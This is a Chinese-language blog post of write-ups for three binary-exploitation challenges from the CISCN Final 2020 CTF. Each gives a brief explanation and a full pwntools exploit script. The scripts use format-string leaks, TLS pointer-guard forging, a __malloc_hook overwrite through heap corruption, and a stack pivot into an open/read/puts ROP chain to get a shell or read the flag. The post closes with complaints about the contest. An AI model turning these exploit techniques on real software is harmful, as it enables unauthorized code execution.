CISCN_FINAL_2020

太久没写博客了,上次CISCN FINAL 2020的题也没空复现,先写几个吧,VmPwn 这些实在是搞不懂,逆向太菜了,之后推进一波逆向水平www.附件

Day1 Pwn3

因为是多线程,而且是多次利用,简单的leak stack,leak libc,leak canary吧,这里关键是调用printf_chk函数中,有一个指针,而这个指针调用前,会有一个值与TLS结构中一个8字节的随机数据进行异或

首先利用%s将TLS中的8字节数据给打印出来,然后通过指针和随机值进行异或,可以得到一个key值
然后将 key值 与 我们想要调用的指针进行异或,再将异或后的数据放在TLS结构体中随机值的位置
当调用printf_chk的时候,经过异或key值会还原到我们想要调用的函数或者指针位置,所以改成one_gadget即可getshell
1
from pwn import*
2
def exp():
3
	p.sendline('%p%p%p%p%p%p%p%p%p%p%pCanary:%p%pLIBC:%p%p%p%p%pST:%p')
4
	p.recvuntil('Canary:')
5
	canary = int(p.recv(18),16)
6
	p.recvuntil('LIBC:')
7
	libc_base = int(p.recv(14),16) - 0x3F86DB
8
	p.recvuntil('ST:')
9
	stack = int(p.recv(14),16)
10
	log.info('Canary:\t' + hex(canary))
11
	log.info('LIBC:\t'+ hex(libc_base))
12
	log.info('Stack:\t' + hex(stack))
13
#	gdb.attach(p,"b *0x7ffff783006a")
14
	p.sendline('%p%p%p%p%p%p%p%p%p%pRand%s'.ljust(0x30,'\x00') + p64(libc_base - 0x900 + 0x30))
15
	p.recvuntil('Rand')
16
	rand = u64(p.recv(8))
17
	log.info('Rand\t' + hex(rand))
18
	key = (rand^(libc_base + 4201616))&0xFFFFFFFFFFFFFFFF
19
	rce = key^(libc_base + 0x10A45C)
20
	payload = 'F'*0x38 + p64(canary) + '\x00'*0x18 + p64(libc_base - 0x900)
21
	payload = payload.ljust(0x878,'\x00')
22
	payload += p64(canary)
23
	payload += p64(rce)
24
	p.sendline(payload)
25
	p.interactive()
26
p = process('./main')
27
exp()

Day1 Pwn4

因为在case 1写入passwd的时候,写入的数据放在栈上,而写完后又会在一个函数里面进行会传入一个地址,然后delete,而传入地址之前的函数,没有对栈空间进行一个数据清空,导致passwd修改时候残留的数据会留在栈上,然后在这里delete的时候会free()一个错误的指针,这样我们在这里可以构造任意写,因为是2.27,利用fake_chunk->stdout->IO_2_1_stdout 可以leaklibc,所以通过玄学堆风水加调试做一做就出了

1
from pwn import*
2
#context.log_level = 'DEBUG'
3
p = process('./main')
4
libc =ELF('./libc-2.27.so')
5
#p = remote('172.20.120.104',8888)
6
p.sendlineafter('Username:',"adminNNN" + 'N'*0x10 + '\x31')
7
p.sendafter('Password:','p455w0rd' + '\x00'*0x8 + 'U'*0x8F)
8
9
p.sendlineafter('choice:','1')
10
p.sendlineafter('password:','\x00'*0x28 + p64(0x21) + 'U'*0x50 + p64(0x6032D0 + 0x10))
11
p.sendlineafter('please:','F'*0x70)
12
p.sendlineafter(':','1000')
13
p.sendlineafter('choice:','1')
14
p.sendlineafter('password:',p64(0x603288))
15
p.sendlineafter('please:','F'*0x20)
16
p.sendlineafter(':','1000')
17
18
p.sendlineafter('choice:','1')
19
p.sendlineafter('password:',p64(0x603288))
20
p.sendafter('please:',p64(0x603288)*4)
21
p.sendlineafter(':','1000')
22
p.sendlineafter('choice:','1')
23
p.sendlineafter('password:',p64(0x603288))
24
p.sendafter('please:',p64(0xFBAD1800) + p64(0)*3  + '\xC8')
25
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
26
log.info('LIBC:\t' + hex(libc_base))
27
p.sendlineafter(':','1000')
28
29
p.sendlineafter('choice:','1')
30
p.sendlineafter('password:','FMYY')
31
p.sendlineafter('please:','F'*0x70)
32
p.sendlineafter(':','1000')
33
34
malloc_hook = libc_base + libc.sym['__malloc_hook']
35
free_hook = libc_base + libc.sym['__free_hook']
36
rce = libc_base + 0x10A45C
37
p.sendlineafter('choice:','1')
38
p.sendlineafter('password:','\x00'*0x28 + p64(0x41) + 'U'*0x50 + p64(0x603300 + 0x10))
39
p.sendlineafter('please:','F'*0x70)
40
p.sendlineafter(':','1000')
41
p.sendlineafter('choice:','1')
42
p.sendlineafter('password:','\x00'*0x30 + p64(malloc_hook))
43
p.sendlineafter('please:','F'*0x30)
44
p.sendlineafter(':','1000')
45
p.sendlineafter('choice:','1')
46
p.sendlineafter('password:','FMYY')
47
p.sendlineafter('please:',p64(rce) + '\x00'*0x28)
48
p.sendlineafter(':','1000')
49
p.sendlineafter('choice:','1')
50
p.sendlineafter('password:','FMYY')
51
p.interactive()

Day2 Pwn3

恶心心,西湖论剑的题目比这个要好多了,这个抬栈太烦人了,当初做了这个题,结果西湖论剑没做出来,因为没想到printf@plt进入会push一个返回地址,太菜了

首先通过调用一个函数抬一次栈,再调用一个start函数,栈上就会剩下_IO_2_1_stdou_指针
通过栈链修改stdout结构体中的fileno为2就能leak了.  
然后则是在写入的后面布置一个orw,再通过栈链将rbp改成orw位置和返回地址改成leave_ret进行栈迁移到orw位置
1
from pwn import*
2
#############
3
libc =ELF('./libc-2.23.so')
4
while True:
5
	p = process('./main')
6
	try:
7
		p.recvuntil('Gift: ')
8
		stack = int(p.recv(14),16)
9
		log.info('Stack:\t' + hex(stack))
10
		offset = 9
11
		retval = stack&0xFFFF
12
		if retval > 0x2000:
13
			p.close()
14
			continue
15
		p.sendline('%' + str((stack&0xFF - 0x10)) + 'c%6$hhn')
16
		p.sendline('%61c%10$hhn')
17
18
		p.sendline('%' + str((stack - 0x10 - 0x10 + 1)&0xFFFF) + 'c%6$hn')
19
		p.sendline('%74c%10$hhn')
20
21
		p.sendline('%' + str((stack - 0x10 - 0x10 + 0)&0xFFFF) + 'c%6$hn')
22
		p.sendline('%144c%10$hhn')
23
24
		p.sendline('%' + str((stack - 0x10 - 0x18)&0xFFFF) + 'c%6$hn')
25
		p.sendline('%183c%10$hhn')
26
27
		p.sendline('%' + str((stack - 0x70)&0xFFFF) + 'c%6$hn') #*
28
		p.sendline('%144c%10$hhn')
29
30
		p.sendline('%2c%29$nFMYY')
31
		p.recvuntil('FMYY',timeout=0.5)
32
		p.sendline('LIBC:%13$pProc:%9$p')
33
		p.recvuntil('LIBC:')
34
		libc_base = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
35
		log.info('LIBC:\t' + hex(libc_base))
36
		p.recvuntil('Proc:')
37
		proc_base = int(p.recv(14),16) - 0x202040
38
		log.info('Proc:\t' + hex(proc_base))
39
		log.info('PID:\t' + hex(p.pid))
40
		pop_rsi_ret = libc_base + 0x000000000006E7F3
41
		pop_rdi_ret = libc_base + 0x0000000000140613
42
		pop_rdx_ret = libc_base + 0x0000000000001B9A
43
		pop_rdx_rsi = libc_base + 0x0000000000115189
44
		Open = libc_base + libc.sym['open']
45
		Read = libc_base + libc.sym['read']
46
		Puts = libc_base + libc.sym['puts']
47
		orw  = './flag\x00\x00' + p64(pop_rdi_ret) + p64(proc_base + 0x202058) + p64(pop_rsi_ret) + p64(0) + p64(Open)
48
		orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_rsi) + p64(0x30) + p64(proc_base + 0x2020F0) + p64(Read)
49
		orw += p64(pop_rdi_ret) + p64(proc_base + 0x2020F0) + p64(Puts)
50
		pause()
51
		p.sendline('%' + str((stack - 0x128)&0xFFFF) + 'c%15$hn')
52
		p.sendline('%88c%41$hhn')
53
		for i in range(1,6):
54
			p.sendline('%' + str((stack - 0x128 + i)&0xFF) + 'c%15$hhn')
55
			p.sendline('%' + str(((proc_base + 0x202040)>>(i*8))&0xFF) + 'c%41$hhn')
56
		p.sendline('%' + str((stack - 0x120)&0xFF) + 'c%15$hhn')
57
		p.sendline('%182c%41$hhn'.ljust(0x18,'\x00') + orw)
58
		pause()
59
		break
60
	except:
61
		p.close()
62
		continue
63
p.interactive()

总结

越想越气,收手机,热点并不会少,解题赛,三个小时做nm呢,题目fix两个小时,这么长是不是还要再吃一顿饭呢,平台垃圾,SB验证码,SB平台,SB YLB
上面题目都是国赛时间复现的,因为懒,所以不更新博客,突然开窍了,写几个题目吧,不然博客不打理还不如关了

Contents
  1. 1. Day1 Pwn3
  2. 2. Day1 Pwn4
  3. 3. Day2 Pwn3
  4. 4. 总结
|